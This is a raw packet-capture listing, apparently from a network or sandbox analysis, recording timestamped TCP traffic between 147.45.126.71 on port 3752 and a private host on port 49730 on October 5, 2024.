Oct 5, 2024 14:33:09.353987932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354007006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354022026 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354055882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354077101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354089975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354123116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354142904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354156017 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354191065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354208946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354432106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354464054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354485035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354497910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354532003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354563951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354568005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354624987 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354731083 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354763985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354796886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354813099 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354850054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354883909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354898930 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.354917049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.354965925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.355004072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355037928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355072021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355086088 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.355104923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355138063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355159044 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.355171919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355206013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355226994 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.355721951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355756044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355783939 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.355789900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355830908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.355846882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.358684063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.358782053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.358784914 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.358815908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.358859062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.358867884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.358902931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.358937979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.358958006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.358978987 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359026909 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359091997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359127045 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359158993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359184027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359194040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359236002 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359371901 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359420061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359452963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359471083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359487057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359520912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359530926 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359555006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359601974 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359651089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359683990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359715939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359724045 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359751940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359783888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359812021 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.359870911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359905005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.359916925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360008001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360040903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360059023 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360075951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360116959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360126019 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360280037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360312939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360340118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360347033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360383987 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360430002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360464096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360497952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360508919 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360529900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360563993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360584021 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.360598087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.360644102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.399518013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399549007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399584055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399614096 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.399661064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399694920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399727106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399761915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.399827003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.399827003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400000095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400032997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400047064 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400067091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400099993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400110960 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400135040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400162935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400178909 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400413990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400449991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400471926 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400505066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400552988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400593042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400629044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400661945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400671959 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400782108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400815010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400827885 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400849104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400882006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400890112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400917053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400949955 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.400962114 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.400984049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401021957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401027918 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.401384115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401417017 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401443958 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.401451111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401484966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401510954 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.401519060 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401551962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401566029 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.401587963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401654005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.401680946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401715994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.401878119 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.439409971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439452887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439502001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.439510107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439544916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439579010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439608097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.439630985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439667940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439699888 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.439804077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439838886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439863920 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.439872980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439905882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439925909 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.439939022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439975023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.439989090 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440129042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440159082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440176010 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440192938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440227032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440237045 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440259933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440293074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440304995 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440324068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440356970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440376997 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440589905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440624952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440646887 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440658092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440691948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440701962 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.440943003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440975904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.440999031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441009998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441045046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441061974 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441081047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441116095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441128016 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441149950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441183090 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441193104 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441216946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441248894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441261053 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441288948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441318989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441330910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441658020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441690922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441724062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441725016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441771030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441777945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441812992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441845894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441880941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441914082 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.441919088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.441941977 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.445422888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445477009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445482016 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.445513010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445559978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.445635080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445667982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445702076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445708990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.445739031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445785046 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.445823908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445961952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.445996046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446011066 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446029902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446063042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446072102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446096897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446135998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446238041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446270943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446302891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446310043 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446336031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446369886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446378946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446404934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446438074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446448088 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446475029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446520090 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446803093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446835995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446867943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446876049 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446902037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446935892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.446943998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.446969032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447001934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447010040 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.447036028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447068930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447074890 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.447101116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447135925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447139978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.447185040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447222948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.447226048 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.485858917 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.485972881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486000061 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486013889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486063957 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486080885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486114979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486149073 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486182928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486217976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486309052 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486341000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486392975 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486457109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486509085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486542940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486552954 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486577034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486613035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486623049 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486648083 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486690998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.486702919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486737013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486771107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.486782074 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487088919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487122059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487139940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487157106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487190008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487201929 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487224102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487257004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487267017 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487292051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487325907 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487334967 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487360954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487404108 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487416029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487452984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487498999 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487792969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487826109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487859011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487870932 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487891912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487926006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487941027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.487961054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.487993002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.488010883 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.488048077 CEST	3752	49730	147.45.126.71	192.168.2.4
